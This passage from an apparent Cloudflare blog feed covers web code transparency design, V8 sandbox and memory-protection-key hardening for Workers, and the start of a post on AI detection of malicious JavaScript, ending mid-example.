    <p>Temporal inconsistency occurs when a user gets a newer or older version of the site (both still unexpired), depending on some external factors such as geographic location or cookie values. In the extreme, as stated above, if a signed prefix root is valid for ten years, then a site can serve a user any version of the site from the last ten years.</p><p>As with tree inconsistency, this can be resolved using consensus mechanisms. If, for example, the latest manifest were published on a blockchain, then a user could fetch the latest blockchain head and ensure they got the latest version of the site. However, this incurs an extra network round trip for the client, and requires sites to wait for their hash to get published on-chain before they can update. More importantly, building this kind of consensus mechanism into our specification would drastically increase its complexity. We’re aiming for v1.0 here.</p><p>We mitigate temporal inconsistency by requiring reasonably short validity periods for witness signatures. Making prefix root signatures valid for, e.g., one week would drastically limit the number of simultaneously servable versions. The cost is that site operators must now query the transparency service at least once a week for the new signed root and inclusion proof, even if nothing in the site changed. The sites cannot skip this, and the transparency service must be able to handle this load. This parameter must be tuned carefully.</p>
    <div>
      <h2>Beyond Integrity, Consistency, and Transparency</h2>
      <a href="#beyond-integrity-consistency-and-transparency">
        
      </a>
    </div>
    <p>Providing integrity, consistency, and transparency is already a huge endeavor, but there are some additional app store-like security features that can be integrated into this system without too much work.</p>
    <div>
      <h3>Code Signing</h3>
      <a href="#code-signing">
        
      </a>
    </div>
    <p>One problem that WAICT doesn’t solve is that of <i>provenance</i>: where did the code the user is running come from, precisely? In settings where audits of code happen frequently, this is not so important, because some third party will be reading the code regardless. But for smaller self-hosted deployments of open-source software, this may not be viable. For example, if Alice hosts her own version of <a href="https://cryptpad.org/"><u>Cryptpad</u></a> for her friend Bob, how can Bob be sure the code matches the real code in Cryptpad’s Github repo?</p><p><b>WEBCAT.</b> The folks at the Freedom of Press Foundation (FPF) have built a solution to this, called <a href="https://securedrop.org/news/introducing-webcat-web-based-code-assurance-and-transparency/"><u>WEBCAT</u></a>. This protocol allows site owners to announce the identities of the developers that have signed the site’s integrity manifest, i.e., have signed all the code and other assets that the site is serving to the user. Users with the WEBCAT plugin can then see the developer’s <a href="https://www.sigstore.dev/"><u>Sigstore</u></a> signatures, and trust the code based on that.</p><p>We’ve made WAICT extensible enough to fit WEBCAT inside and benefit from the transparency components. Concretely, we permit manifests to hold additional metadata, which we call <b>extensions</b>. In this case, the extension holds a list of developers’ Sigstore identities. To be useful, browsers must expose an API for browser plugins to access these extension values. With this API, independent parties can build plugins for whatever feature they wish to layer on top of WAICT.</p>
    <div>
      <h2>Cooldown</h2>
      <a href="#cooldown">
        
      </a>
    </div>
    <p>So far we have not built anything that can prevent attacks in the moment. An attacker who breaks into a website can still delete any code-signing extensions, or just unenroll the site from transparency entirely, and continue with their attack as normal. The unenrollment will be logged, but the malicious code will not be, and by the time anyone sees the unenrollment, it may be too late.</p><p>To prevent spontaneous unenrollment, we can enforce <b>unenrollment cooldown</b> client-side. Suppose the cooldown period is 24 hours. Then the rule is: if a site appears on the preload list, then the client will require that either 1) the site have transparency enabled, or 2) the site have a tombstone entry that is at least 24 hours old. Thus, an attacker will be forced to either serve a transparency-enabled version of the site, or serve a broken site for 24 hours.</p><p>Similarly, to prevent spontaneous extension modifications, we can enforce <b>extension cooldown</b> on the client. We will take code signing as an example, saying that any change in developer identities requires a 24 hour waiting period to be accepted. First, we require that extension <code>dev-ids</code> has a preload list of its own, letting the client know which sites have opted into code signing (if a preload list doesn’t exist then any site can delete the extension at any time). The client rule is as follows: if the site appears in the preload list, then both 1) <code>dev-ids</code> must exist as an extension in the manifest, and 2) <code>dev-ids-inclusion</code> must contain an inclusion proof showing that the current value of dev-ids was in a prefix tree that is at least 24 hours old. With this rule, a client will reject values of <code>dev-ids</code> that are newer than a day. If a site wants to delete <code>dev-ids</code>, they must 1) request that it be removed from the preload list, and 2) in the meantime, replace the dev-ids value with the empty string and update <code>dev-ids-inclusion</code> to reflect the new value.</p>
    <div>
      <h2>Deployment Considerations</h2>
      <a href="#deployment-considerations">
        
      </a>
    </div>
    <p>There are a lot of distinct roles in this ecosystem. Let’s sketch out the trust and resource requirements for each role.</p><p><b>Transparency service.</b> These parties store metadata for every transparency-enabled site on the web. If there are 100 million domains, and each entry is 256B each (a few hashes, plus a URL), this comes out to 26GB for a single tree, not including the intermediate hashes. To prevent size blowup, there would probably have to be a pruning rule that unenrolls sites after a long inactivity period. Transparency services should have largely uncorrelated downtime, since, if all services go down, no transparency-enabled site can make any updates. Thus, transparency services must have a moderate amount of storage, be relatively highly available, and have downtime periods uncorrelated with each other.</p><p>Transparency services require some trust, but their behavior is narrowly constrained by witnesses. Theoretically, a service can replace any leaf’s chain hash with its own, and the witness will validate it (as long as the consistency proof is valid). But such changes are detectable by anyone that monitors that leaf.</p><p><b>Witness.</b> These parties verify prefix tree updates and sign the resulting roots. Their storage costs are similar to that of a transparency service, since they must keep a full copy of a prefix tree for every transparency service they witness. Also like the transparency services, they must have high uptime. Witnesses must also be trusted to keep their signing key secret for a long period of time, at least long enough to permit browser trust stores to be updated when a new key is created.</p><p><b>Asset host.</b> These parties carry little trust. They cannot serve bad data, since any query response is hashed and compared to a known hash. The only malicious behavior an asset host can do is refuse to respond to queries. Asset hosts can also do this by accident due to downtime.</p><p><b>Client.</b> This is the most trust-sensitive part. The client is the software that performs all the transparency and integrity checks. This is, of course, the web browser itself. We must trust this.</p><p>We at Cloudflare would like to contribute what we can to this ecosystem. It should be possible to run both a transparency service and a witness. Of course, our witness should not monitor our own transparency service. Rather, we can witness other organizations’ transparency services, and our transparency service can be witnessed by other organizations.</p>
    <div>
      <h3>Supporting Alternate Ecosystems</h3>
      <a href="#supporting-alternate-ecosystems">
        
      </a>
    </div>
    <p>WAICT should be compatible with non-standard ecosystems, ones where the large players do not really exist, or at least not in the way they usually do. We are working with the FPF on defining transparency for alternate ecosystems with different network and trust environments. The primary example we have is that of the Tor ecosystem.</p><p>A paranoid Tor user may not trust existing transparency services or witnesses, and there might not be any other trusted party with the resources to self-host these functionalities. For this use case, it may be reasonable to put the <a href="https://github.com/freedomofpress/webcat-infra-chain"><u>prefix tree on a blockchain somewhere</u></a>. This makes the usual domain validation impossible (there’s no validator server to speak of), but this is fine for onion services. Since an onion address is just a public key, a signature is sufficient to prove ownership of the domain.</p><p>One consequence of a consensus-backed prefix tree is that witnesses are now unnecessary, and there is only need for the single, canonical, transparency service. This mostly solves the problems of tree inconsistency at the expense of latency of updates.</p>
    <div>
      <h2>Next Steps</h2>
      <a href="#next-steps">
        
      </a>
    </div>
    <p>We are still very early in the standardization process. One of the more immediate next steps is to get subresource integrity working for more data types, particularly WASM and images. After that, we can begin standardizing the integrity manifest format. And then after that we can start standardizing all the other features. We intend to work on this specification hand-in-hand with browsers and the IETF, and we hope to have some exciting betas soon.</p><p>In the meantime, you can follow along with our <a href="https://github.com/rozbb/draft-waict-transparency"><u>transparency specification draft</u></a>, check out the open problems, and share your ideas. Pull requests and issues are always welcome!</p>
    <div>
      <h2>Acknowledgements</h2>
      <a href="#acknowledgements">
        
      </a>
    </div>
    <p>Many thanks to Dennis Jackson from Mozilla for the lengthy back-and-forth meetings on design, to Giulio B and Cory Myers from FPF for their immensely helpful influence and feedback, and to Richard Hansen for great feedback.</p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Malicious JavaScript]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Deep Dive]]></category>
            <category><![CDATA[Cryptography]]></category>
            <category><![CDATA[Research]]></category>
            <guid isPermaLink="false">6GRxDReQHjD7T0xpfjf7Iq</guid>
            <dc:creator>Michael Rosenberg</dc:creator>
        </item>
        <item>
            <title><![CDATA[Safe in the sandbox: security hardening for Cloudflare Workers]]></title>
            <link>https://blog.cloudflare.com/safe-in-the-sandbox-security-hardening-for-cloudflare-workers/</link>
            <pubDate>Thu, 25 Sep 2025 14:00:00 GMT</pubDate>
            <description><![CDATA[ We are further hardening Cloudflare Workers with the latest software and hardware features. We use defense-in-depth, including V8 sandboxes and the CPU's memory protection keys to keep your data safe. ]]></description>
            <content:encoded><![CDATA[ <p>As a <a href="https://www.cloudflare.com/learning/serverless/what-is-serverless/"><u>serverless</u></a> cloud provider, we run your code on our globally distributed infrastructure. Being able to run customer code on our network means that anyone can take advantage of our global presence and low latency. Workers isn’t just efficient though, we also make it simple for our users. In short: <a href="https://workers.cloudflare.com/"><u>You write code. We handle the rest</u></a>.</p><p>Part of 'handling the rest' is making Workers as secure as possible. We have previously written about our <a href="https://blog.cloudflare.com/mitigating-spectre-and-other-security-threats-the-cloudflare-workers-security-model/"><u>security architecture</u></a>. Making Workers secure is an interesting problem because the whole point of Workers is that we are running third party code on our hardware. This is one of the hardest security problems there is: any attacker has the full power available of a programming language running on the victim's system when they are crafting their attacks.</p><p>This is why we are constantly updating and improving the Workers Runtime to take advantage of the latest improvements in both hardware and software. This post shares some of the latest work we have been doing to keep Workers secure.</p><p>Some background first: <a href="https://www.cloudflare.com/developer-platform/products/workers/"><u>Workers</u></a> is built around the <a href="https://v8.dev/"><u>V8</u></a> JavaScript runtime, originally developed for Chromium-based browsers like Chrome. This gives us a head start, because V8 was forged in an adversarial environment, where it has always been under intense attack and <a href="https://github.blog/security/vulnerability-research/getting-rce-in-chrome-with-incorrect-side-effect-in-the-jit-compiler/"><u>scrutiny</u></a>. Like Workers, Chromium is built to run adversarial code safely. That's why V8 is constantly being tested against the best fuzzers and sanitizers, and over the years, it has been hardened with new technologies like <a href="https://v8.dev/blog/oilpan-library"><u>Oilpan/cppgc</u></a> and improved static analysis.</p><p>We use V8 in a slightly different way, though, so we will be describing in this post how we have been making some changes to V8 to improve security in our use case.</p>
    <div>
      <h2>Hardware-assisted security improvements from Memory Protection Keys</h2>
      <a href="#hardware-assisted-security-improvements-from-memory-protection-keys">
        
      </a>
    </div>
    <p>Modern CPUs from Intel, AMD, and ARM have support for <a href="https://man7.org/linux/man-pages/man7/pkeys.7.html"><u>memory protection keys</u></a>, sometimes called <i>PKU</i>, Protection Keys for Userspace. This is a great security feature which increases the power of virtual memory and memory protection.</p><p>Traditionally, the memory protection features of the CPU in your PC or phone were mainly used to protect the kernel and to protect different processes from each other. Within each process, all threads had access to the same memory. Memory protection keys allow us to prevent specific threads from accessing memory regions they shouldn't have access to.</p><p>V8 already <a href="https://issues.chromium.org/issues/41480375"><u>uses memory protection keys</u></a> for the <a href="https://en.wikipedia.org/wiki/Just-in-time_compilation"><u>JIT compilers</u></a>. The JIT compilers for a language like JavaScript generate optimized, specialized versions of your code as it runs. Typically, the compiler is running on its own thread, and needs to be able to write data to the code area in order to install its optimized code. However, the compiler thread doesn't need to be able to run this code. The regular execution thread, on the other hand, needs to be able to run, but not modify, the optimized code. Memory protection keys offer a way to give each thread the permissions it needs, but <a href="https://en.wikipedia.org/wiki/W%5EX"><u>no more</u></a>. And the V8 team in the Chromium project certainly aren't standing still. They describe some of their future plans for memory protection keys <a href="https://docs.google.com/document/d/1l3urJdk1M3JCLpT9HDvFQKOxuKxwINcXoYoFuKkfKcc/edit?tab=t.0#heading=h.gpz70vgxo7uc"><u>here</u></a>.</p><p>In Workers, we have some different requirements than Chromium. <a href="https://developers.cloudflare.com/workers/reference/security-model/"><u>The security architecture for Workers</u></a> uses V8 isolates to separate different scripts that are running on our servers. (In addition, we have <a href="https://blog.cloudflare.com/spectre-research-with-tu-graz/"><u>extra mitigations</u></a> to harden the system against <a href="https://en.wikipedia.org/wiki/Spectre_(security_vulnerability)"><u>Spectre</u></a> attacks). If V8 is working as intended, this should be enough, but we believe in <i>defense in depth</i>: multiple, overlapping layers of security controls.</p><p>That's why we have deployed internal modifications to V8 to use memory protection keys to isolate the isolates from each other. There are up to 15 different keys available on a modern x64 CPU and a few are used for other purposes in V8, so we have about 12 to work with. We give each isolate a random key which is used to protect its V8 <i>heap data</i>, the memory area containing the JavaScript objects a script creates as it runs. This means security bugs that might previously have allowed an attacker to read data from a different isolate would now hit a hardware trap in 92% of cases. (Assuming 12 keys, 92% is about 11/12.)</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4cHaaZrAhQf759og04S63G/59ff1974dc878ec8ad7d40f1f079be37/image9.png" />
          </figure><p>The illustration shows an attacker attempting to read from a different isolate. Most of the time this is detected by the mismatched memory protection key, which kills their script and notifies us, so we can investigate and remediate. The red arrow represents the case where the attacker got lucky by hitting an isolate with the same memory protection key, represented by the isolates having the same colors.</p><p>However, we can further improve on a 92% protection rate. In the last part of this blog post we'll explain how we can lift that to 100% for a particular common scenario. But first, let's look at a software hardening feature in V8 that we are taking advantage of.</p>
    <div>
      <h2>The V8 sandbox, a software-based security boundary</h2>
      <a href="#the-v8-sandbox-a-software-based-security-boundary">
        
      </a>
    </div>
    <p>Over the past few years, V8 has been gaining another defense in depth feature: the V8 sandbox. (Not to be confused with the <a href="https://blog.cloudflare.com/sandboxing-in-linux-with-zero-lines-of-code/"><u>layer 2 sandbox</u></a> which Workers have been using since the beginning.) The V8 sandbox has been a multi-year project that has been gaining <a href="https://v8.dev/blog/sandbox"><u>maturity</u></a> for a while. The sandbox project stems from the observation that many V8 security vulnerabilities start by corrupting objects in the V8 heap memory. Attackers then leverage this corruption to reach other parts of the process, giving them the opportunity to escalate and gain more access to the victim's browser, or even the entire system.</p><p>V8's sandbox project is an ambitious software security mitigation that aims to thwart that escalation: to make it impossible for the attacker to progress from a corruption on the V8 heap to a compromise of the rest of the process. This means, among other things, removing all pointers from the heap. But first, let's explain in as simple terms as possible, what a memory corruption attack is.</p>
    <div>
      <h3>Memory corruption attacks</h3>
      <a href="#memory-corruption-attacks">
        
      </a>
    </div>
    <p>A memory corruption attack tricks a program into misusing its own memory. Computer memory is just a store of integers, where each integer is stored in a location. The locations each have an <i>address</i>, which is also just a number. Programs interpret the data in these locations in different ways, such as text, pixels, or <i>pointers</i>. Pointers are addresses that identify a different memory location, so they act as a sort of arrow that points to some other piece of data.</p><p>Here's a concrete example, which uses a buffer overflow. This is a form of attack that was historically common and relatively simple to understand: Imagine a program has a small buffer (like a 16-character text field) followed immediately by an 8-byte pointer to some ordinary data. An attacker might send the program a 24-character string, causing a "buffer overflow." Because of a vulnerability in the program, the first 16 characters fill the intended buffer, but the remaining 8 characters spill over and overwrite the adjacent pointer.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5VlcKOYtfRHwWZVDb6GOPm/517ae1987c89273e1f33eb6ca11d752d/image5.png" />
          </figure><p><sup><i>See below for how such an attack would now be thwarted.</i></sup></p><p>Now the pointer has been redirected to point at sensitive data of the attacker's choosing, rather than the normal data it was originally meant to access. When the program tries to use what it believes is its normal pointer, it's actually accessing sensitive data chosen by the attacker.</p><p>This type of attack works in steps: first create a small confusion (like the buffer overflow), then use that confusion to create bigger problems, eventually gaining access to data or capabilities the attacker shouldn't have.  The attacker can eventually use the misdirection to either steal information or plant malicious data that the program will treat as legitimate.</p><p>This was a somewhat abstract description of memory corruption attacks using a buffer overflow, one of the simpler techniques. For some much more detailed and recent examples, see <a href="https://googleprojectzero.blogspot.com/2015/06/what-is-good-memory-corruption.html"><u>this description from Google</u></a>, or this <a href="https://medium.com/@INTfinitySG/miscellaneous-series-2-a-script-kiddie-diary-in-v8-exploit-research-part-1-5b0bab211f5a"><u>breakdown of a V8 vulnerability</u></a>.</p>
    <div>
      <h3>Compressed pointers in V8</h3>
      <a href="#compressed-pointers-in-v8">
        
      </a>
    </div>
    <p>Many attacks are based on corrupting pointers, so ideally we would remove all pointers from the memory of the program.  Since an object-oriented language's heap is absolutely full of pointers, that would seem, on its face, to be a hopeless task, but it is enabled by an earlier development. Starting in 2020, V8 has offered the option of saving memory by using <a href="https://v8.dev/blog/pointer-compression"><u>compressed pointers</u></a>. This means that, on a 64-bit system, the heap uses only 32 bit offsets, relative to a base address. This limits the total heap to maximally 4 GiB, a limitation that is acceptable for a browser, and also fine for individual scripts running in a V8 isolate on Cloudflare Workers.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/sO5ByQzR62UcxZiaxwcaq/2f2f0c04af57bb492e9ecaa321935112/image1.png" />
          </figure><p><sup><i>An artificial object with various fields, showing how the layout differs in a compressed vs. an uncompressed heap. The boxes are 64 bits wide.</i></sup></p><p>If the whole of the heap is in a single 4 GiB area then the first 32 bits of all pointers will be the same, and we don't need to store them in every pointer field in every object. In the diagram we can see that the object pointers all start with 0x12345678, which is therefore redundant and doesn't need to be stored. This means that object pointer fields and integer fields can be reduced from 64 to 32 bits.</p><p>We still need 64 bit fields for some fields like double precision floats and for the sandbox offsets of buffers, which are typically used by the script for input and output data. See below for details.</p><p>Integers in an uncompressed heap are stored in the high 32 bits of a 64 bit field. In the compressed heap, the top 31 bits of a 32 bit field are used. In both cases the lowest bit is set to 0 to indicate integers (as opposed to pointers or offsets).</p><p>Conceptually, we have two methods for compressing and decompressing, using a base address that is divisible by 4 GiB:</p>
            <pre><code>// Decompress a 32 bit offset to a 64 bit pointer by adding a base address.
void* Decompress(uint32_t offset) { return base + offset; }
// Compress a 64 bit pointer to a 32 bit offset by discarding the high bits.
uint32_t Compress(void* pointer) { return (intptr_t)pointer &amp; 0xffffffff; }</code></pre>
            <p>This pointer compression feature, originally primarily designed to save memory, can be used as the basis of a sandbox.</p>
    <div>
      <h3>From compressed pointers to the sandbox</h3>
      <a href="#from-compressed-pointers-to-the-sandbox">
        
      </a>
    </div>
    <p>The biggest 32-bit unsigned integer is about 4 billion, so the <code>Decompress()</code> function cannot generate any pointer that is outside the range [base, base + 4 GiB]. You could say the pointers are trapped in this area, so it is sometimes called the <i>pointer cage</i>. V8 can reserve 4 GiB of virtual address space for the pointer cage so that only V8 objects appear in this range. By eliminating <i>all</i> pointers from this range, and following some other strict rules, V8 can contain any memory corruption by an attacker to this cage. Even if an attacker corrupts a 32 bit offset within the cage, it is still only a 32 bit offset and can only be used to create new pointers that are still trapped within the pointer cage.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3r5H81eDvHgaPIBFw5gG6B/65ffa220f9141a81af893183a09321ac/image7.png" />
          </figure><p><sup><i>The buffer overflow attack from earlier no longer works because only the attacker's own data is available in the pointer cage.</i></sup></p><p>To construct the sandbox, we take the 4 GiB pointer cage and add another 4 GiB for buffers and other data structures to make the 8 GiB sandbox. This is why the buffer offsets above are 33 bits, so they can reach buffers in the second half of the sandbox (40 bits in Chromium with larger sandboxes). V8 stores these buffer offsets in the high 33 bits and shifts down by 31 bits before use, in case an attacker corrupted the low bits.</p><p>Cloudflare Workers have made use of compressed pointers in V8 for a while, but for us to get the full power of the sandbox we had to make some changes. Until recently, all isolates in a process had to be one single sandbox if you were using the sandboxed configuration of V8. This would have limited the total size of all V8 heaps to be less than 4 GiB, far too little for our architecture, which relies on serving 1000s of scripts at once.</p><p>That's why we commissioned <a href="https://www.igalia.com/"><u>Igalia</u></a> to add<a href="https://dbezhetskov.dev/multi-sandboxes/"><u> isolate groups</u></a> to V8. Each isolate group has its own sandbox and can have 1 or more isolates within it. Building on this change we have been able to start using the sandbox, eliminating a whole class of potential security issues in one stroke. Although we can place multiple isolates in the same sandbox, we are currently only putting a single isolate in each sandbox.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3jwaGI8xIAC6755vw2BWfE/d8b0cd5b36dbe8b5e628c62ef7f3d474/image2.png" />
          </figure><p><sup><i>The layout of the sandbox. In the sandbox there can be more than one isolate, but all their heap pages must be in the pointer cage: the first 4 GiB of the sandbox. Instead of pointers between the objects, we use 32 bit offsets. The offsets for the buffers are 33 bits, so they can reach the whole sandbox, but not outside it.</i></sup></p>
    <div>
      <h2>Virtual memory isn't infinite, there's a lot going on in a Linux process</h2>
      <a href="#virtual-memory-isnt-infinite-theres-a-lot-going-on-in-a-linux-process">
        
      </a>
    </div>
    <p>At this point, we were not quite done, though. Each sandbox reserves 8 GiB of space in the virtual memory map of the process, and it must be 4 GiB aligned <a href="https://v8.dev/blog/pointer-compression"><u>for efficiency</u></a>. It uses much less physical memory, but the sandbox mechanism requires this much virtual space for its security properties. This presents us with a problem, since a Linux process 'only' has 128 TiB of virtual address space in a 4-level page table (another 128 TiB are reserved for the kernel, not available to user space).</p><p>At Cloudflare, we want to run Workers as efficiently as possible to keep costs and prices down, and to offer a generous free tier. That means that on each machine we have so many isolates running (one per sandbox) that it becomes hard to place them all in a 128 TiB space.</p><p>Knowing this, we have to place the sandboxes carefully in memory. Unfortunately, the Linux syscall, <a href="https://man7.org/linux/man-pages/man2/mmap.2.html"><u>mmap</u></a>, does not allow us to specify the alignment of an allocation unless you can guess a free location to request. To get an 8 GiB area that is 4 GiB aligned, we have to ask for 12 GiB, then find the aligned 8 GiB area that must exist within that, and return the unused (hatched) edges to the OS:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7Dqey3y5ZsPugD3pyRpQUY/cdadceeb96dbb01a2062dc98c7c554bc/image6.png" />
          </figure><p>If we allow the Linux kernel to place sandboxes randomly, we end up with a layout like this with gaps. Especially after running for a while, there can be both 8 GiB and 4 GiB gaps between sandboxes:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6oaIPZnjaJrLYoFK6v03oI/6c53895f1151d70f71511d8cdfa35f00/image3.png" />
          </figure><p>Sadly, because of our 12 GiB alignment trick, we can't even make use of the 8 GiB gaps. If we ask the OS for 12 GiB, it will never give us a gap like the 8 GiB gap between the green and blue sandboxes above. In addition, there are a host of other things going on in the virtual address space of a Linux process: the malloc implementation may want to grab pages at particular addresses, the executable and libraries are mapped at a random location by ASLR, and V8 has allocations outside the sandbox.</p><p>The latest generation of x64 CPUs supports a much bigger address space, which solves both problems, and Linux kernels are able to make use of the extra bits with <a href="https://en.wikipedia.org/wiki/Intel_5-level_paging"><u>five level page tables</u></a>. A process has to <a href="https://lwn.net/Articles/717293/"><u>opt into this</u></a>, which is done by a single mmap call suggesting an address outside the 47 bit area. The reason this needs an opt-in is that some programs can't cope with such high addresses. Curiously, V8 is one of them.</p><p>This isn't hard to fix in V8, but not all of our fleet has been upgraded yet to have the necessary hardware. So for now, we need a solution that works with the existing hardware. We have modified V8 to be able to grab huge memory areas and then use <a href="https://man7.org/linux/man-pages/man2/mprotect.2.html"><u>mprotect syscalls</u></a> to create tightly packed 8 GiB spaces for sandboxes, bypassing the inflexible mmap API.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7kPgAWxoR7nDsZHUOBsNMp/15e7b2a1aac827acfce8b0d614e44cde/image8.png" />
          </figure>
    <div>
      <h2>Putting it all together</h2>
      <a href="#putting-it-all-together">
        
      </a>
    </div>
    <p>Taking control of the sandbox placement like this actually gives us a security benefit, but first we need to describe a particular threat model.</p><p>We assume for the purposes of this threat model that an attacker has an arbitrary way to corrupt data within the sandbox. This is historically the first step in many V8 exploits. So much so that there is a <a href="https://bughunters.google.com/about/rules/chrome-friends/5745167867576320/chrome-vulnerability-reward-program-rules#v8-sandbox-bypass-rewards"><u>special tier</u></a> in Google's V8 bug bounty program where you may <i>assume</i> you have this ability to corrupt memory, and they will pay out if you can leverage that to a more serious exploit.</p><p>However, we assume that the attacker does not have the ability to execute arbitrary machine code. If they did, they could <a href="https://www.usenix.org/system/files/sec20fall_connor_prepub.pdf"><u>disable memory protection keys</u></a>. Having access to the in-sandbox memory only gives the attacker access to their own data. So the attacker must attempt to escalate, by corrupting data inside the sandbox to access data outside the sandbox.</p><p>You will recall that the compressed, sandboxed V8 heap only contains 32 bit offsets. Therefore, no corruption there can reach outside the pointer cage. But there are also arrays in the sandbox — vectors of data with a given size that can be accessed with an index. In our threat model, the attacker can modify the sizes recorded for those arrays and the indexes used to access elements in the arrays. That means an attacker could potentially turn an array in the sandbox into a tool for accessing memory incorrectly. For this reason, the V8 sandbox normally has <i>guard regions</i> around it: These are 32 GiB virtual address ranges that have no virtual-to-physical address mappings. This helps guard against the worst case scenario: Indexing an array where the elements are 8 bytes in size (e.g. an array of double precision floats) using a maximal 32 bit index. Such an access could reach a distance of up to 32 GiB outside the sandbox: 8 times the maximal 32 bit index of four billion.</p><p>We want such accesses to trigger an alarm, rather than letting an attacker access nearby memory.  This happens automatically with guard regions, but we don't have space for conventional 32 GiB guard regions around every sandbox.</p><p>Instead of using conventional guard regions, we can make use of memory protection keys. By carefully controlling which isolate group uses which key, we can ensure that no sandbox within 32 GiB has the same protection key. Essentially, the sandboxes are acting as each other's guard regions, protected by memory protection keys. Now we only need a wasted 32 GiB guard region at the start and end of the huge packed sandbox areas.
</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/53MPs8P84ayqEiTXh7gV5O/88104f74f1d51dbdda8d987e1c7df3aa/image10.png" />
          </figure><p>With the new sandbox layout, we use strictly rotating memory protection keys. Because we are not using randomly chosen memory protection keys, for this threat model the 92% problem described above disappears. Any in-sandbox security issue is unable to reach a sandbox with the same memory protection key. In the diagram, we show that there is no memory within 32 GiB of a given sandbox that has the same memory protection key. Any attempt to access memory within 32 GiB of a sandbox will trigger an alarm, just like it would with unmapped guard regions.</p>
    <div>
      <h2>The future</h2>
      <a href="#the-future">
        
      </a>
    </div>
    <p>In a way, this whole blog post is about things our customers <i>don't</i> need to do. They don't need to upgrade their server software to get the latest patches, we do that for them. They don't need to worry whether they are using the most secure or efficient configuration. So there's no call to action here, except perhaps to sleep easy.</p><p>However, if you find work like this interesting, and especially if you have experience with the implementation of V8 or similar language runtimes, then you should consider coming to work for us. <a href="https://job-boards.greenhouse.io/cloudflare/jobs/6718312?gh_jid=6718312"><u>We are recruiting both in the US and in Europe</u></a>. It's a great place to work, and Cloudflare is going from strength to strength.</p> ]]></content:encoded>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Engineering]]></category>
            <category><![CDATA[Linux]]></category>
            <category><![CDATA[Malicious JavaScript]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">7bZyPF4nBnr5gisZW2crax</guid>
            <dc:creator>Erik Corry</dc:creator>
            <dc:creator>Ketan Gupta</dc:creator>
        </item>
        <item>
            <title><![CDATA[How we train AI to uncover malicious JavaScript intent and make web surfing safer]]></title>
            <link>https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/</link>
            <pubDate>Wed, 19 Mar 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ Learn more about how Cloudflare developed an AI model to uncover malicious JavaScript intent using a Graph Neural Network, from pre-processing data to inferencing at scale.  ]]></description>
            <content:encoded><![CDATA[ <p>Modern websites <a href="https://blog.cloudflare.com/application-security-report-2024-update/#enterprise-applications-use-47-third-party-scripts-on-average"><u>rely heavily</u></a> on JavaScript. Leveraging third-party scripts accelerates web app development, enabling organizations to deploy new features faster without building everything from scratch. However, supply chain attacks targeting third-party JavaScript are no longer just a theoretical concern — they have become a reality, as <a href="https://blog.cloudflare.com/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk/"><u>recent incidents</u></a> have shown. Given the vast number of scripts and the rapid pace of updates, manually reviewing each one is not a scalable security strategy.</p><p>Cloudflare provides automated client-side protection through <a href="https://developers.cloudflare.com/page-shield/"><u>Page Shield</u></a>. Until now, Page Shield could scan JavaScript dependencies on a web page, flagging obfuscated script content which also exfiltrates data. However, these are only indirect indicators of compromise or malicious intent. Our original approach didn’t provide clear insights into a script’s specific malicious objectives or the type of attack it was designed to execute.</p><p>Taking things a step further, we have developed a new AI model that allows us to detect the exact malicious intent behind each script. This intelligence is now integrated into Page Shield, available to all Page Shield <a href="https://developers.cloudflare.com/page-shield/#availability"><u>add-on</u></a> customers. We are starting with three key threat categories: <a href="https://en.wikipedia.org/wiki/Web_skimming"><u>Magecart</u></a>, crypto mining, and malware.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6EefJpCcho3DIjbVbQIjuz/68852b905955065e48ec2aa4648621cd/1.png" />
          </figure><p><sup><i>Screenshot of Page Shield dashboard showing results of three types of analysis.</i></sup></p><p>With these improvements, Page Shield provides deeper visibility into client-side threats, empowering organizations to better protect their users from evolving security risks. This new capability is available to all Page Shield customers with the <a href="https://developers.cloudflare.com/page-shield/#availability"><u>add-on</u></a>. Head over <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/page-shield"><u>to the dashboard</u></a>, and you can find the new malicious code analysis for each of the scripts monitored.</p><p>In the following sections, we take a deep dive into how we developed this model.</p>
    <div>
      <h3>Training the model to detect hidden malicious intent</h3>
      <a href="#training-the-model-to-detect-hidden-malicious-intent">
        
      </a>
    </div>
    <p>We built this new Page Shield AI model to detect the intent of JavaScript threats at scale. Training such a model for JavaScript comes with unique challenges, including dealing with web code written in many different styles, often obfuscated yet benign. For instance, the following three snippets serve the same function.</p>
            <pre><code>//Readable, plain code
function sayHi(name) {
  console.log(
    `Hello ${
      name ?? 
      "World" //default
    }!`
  );
}
sayHi("Internet");

//Minified
function sayHi(l){console.log(`Hello ${l??"World"}!`)}sayHi("Internet");

//Obfuscated
